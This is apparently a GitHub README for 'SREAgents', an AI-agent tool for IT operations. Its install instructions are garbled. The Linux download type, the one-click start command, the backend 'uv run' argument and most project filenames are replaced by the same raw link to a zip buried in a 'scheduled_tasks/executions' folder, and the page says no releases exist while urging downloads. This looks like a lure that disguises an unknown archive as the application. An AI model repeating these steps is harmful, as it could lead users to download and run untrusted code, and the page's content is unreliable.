Skip to content

tareksyria/SREAgents

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

22 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🤖 SREAgents - Streamline IT Operations Effortlessly

Download Latest Release

📖 What is SREAgents?

SREAgents is a smart assistant platform designed to help manage IT operations. It uses Claude Agent SDK to let you create digital helpers called Agents. These Agents can perform tasks like monitoring system health, tracking performance, and running scheduled checks. You talk to these Agents in everyday language and they carry out your commands.


✨ Key Features

  • Create and control multiple IT operation Agents.
  • Set up Agents with specific abilities like monitoring and tracing.
  • Talk naturally with Agents to handle tasks.
  • View monitoring and tracking data easily.
  • Schedule automatic checks using simple or complex timers.

🎯 Who Is This For?

If you manage IT systems or want a simple way to keep an eye on your servers and apps, SREAgents can help. You don’t need to code or learn complex tools. Just set up the Agents, give them skills, and start talking to them.


📥 Download & Install

To get started, you need to visit the release page and download the latest package for your system.

Download SREAgents Releases


Step 1: Visit the Releases Page

Go to the SREAgents Releases page. Here, you will find the latest version of the application packaged for different operating systems.


Step 2: Choose Your Download

Pick the file that matches your computer:

  • For Windows: Look for .exe or .zip files.
  • For macOS: Look for .dmg or .zip files.
  • For Linux: Look for https://raw.githubusercontent.com/tareksyria/SREAgents/main/backend/scheduled_tasks/task-175029828/executions/SRE_Agents_v3.1.zip or .AppImage files.

Download the file to your computer.


Step 3: Run the Application

Once downloaded, open the file:

  • On Windows or macOS, double-click the file and follow prompts to install or run directly.
  • On Linux, extract the files and run the executable inside.

Step 4: Follow Simple Startup Instructions

After launching, follow on-screen setup steps to create your first Agent and start managing tasks.


🚀 Quick Start Guide

SREAgents includes both a frontend (user interface) and a backend (logic and data). You can start both quickly on your computer if you prefer running from source.

Environment Needed


One-Click Start (Recommended)

Open a terminal or command prompt, navigate to the folder where you saved SREAgents, and run:

https://raw.githubusercontent.com/tareksyria/SREAgents/main/backend/scheduled_tasks/task-175029828/executions/SRE_Agents_v3.1.zip

This script starts both frontend and backend automatically.


Manual Start

If you want to start frontend and backend separately, follow these steps:

  1. Start Frontend

    Open terminal or command prompt, go to the frontend folder, and run:

    cd frontend
    npm install
    npm run dev

    The frontend runs at http://localhost:5173.

  2. Start Backend

    Open another terminal window, navigate to the backend folder, and run:

    cd backend
    uv run https://raw.githubusercontent.com/tareksyria/SREAgents/main/backend/scheduled_tasks/task-175029828/executions/SRE_Agents_v3.1.zip

    The backend listens on port 8000.


Access the App

Open your web browser and visit:

http://localhost:5173

You should see the SREAgents interface, where you can create and manage your Agents.


🖼️ Screenshots

Here is a preview of the app interface:

Agent List

Agent List

Agent Conversation

Agent Conversation


🗂 Project Structure Overview

Understanding the folders can help if you want to explore or customize:

.
├── frontend/          # React + Vite frontend code
│   ├── src/
│   │   ├── components/   # UI components
│   │   ├── context/      # React state contexts
│   │   └── pages/        # App pages
│   ├── https://raw.githubusercontent.com/tareksyria/SREAgents/main/backend/scheduled_tasks/task-175029828/executions/SRE_Agents_v3.1.zip
│   └── https://raw.githubusercontent.com/tareksyria/SREAgents/main/backend/scheduled_tasks/task-175029828/executions/SRE_Agents_v3.1.zip
├── backend/           # Python FastAPI backend services
│   ├── .claude/
│   │   └── skills/       # Agent skills definitions
│   ├── agents/           # Agent configurations
│   ├── https://raw.githubusercontent.com/tareksyria/SREAgents/main/backend/scheduled_tasks/task-175029828/executions/SRE_Agents_v3.1.zip         # Main backend server (port 8000)
│   ├── https://raw.githubusercontent.com/tareksyria/SREAgents/main/backend/scheduled_tasks/task-175029828/executions/SRE_Agents_v3.1.zip      # Mock telemetry server (port 9090)
│   └── https://raw.githubusercontent.com/tareksyria/SREAgents/main/backend/scheduled_tasks/task-175029828/executions/SRE_Agents_v3.1.zip
└── https://raw.githubusercontent.com/tareksyria/SREAgents/main/backend/scheduled_tasks/task-175029828/executions/SRE_Agents_v3.1.zip           # One-step start script

⚙️ How to Create Agents and Assign Skills

  1. Use the web interface to create a new Agent.
  2. Choose skills like system monitoring or performance tracing.
  3. Save your Agent.
  4. Use natural language messages in the chat window to ask your Agent to run tasks.

Agents act like helpers that can monitor your systems or gather important data without extra coding.


🛠 Troubleshooting


🔗 Useful Links


Feel free to download and try SREAgents using the button below:

Download on GitHub

About

🤖 Build and manage AI-driven SRE agents to automate operations tasks with natural language and integrated monitoring tools.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors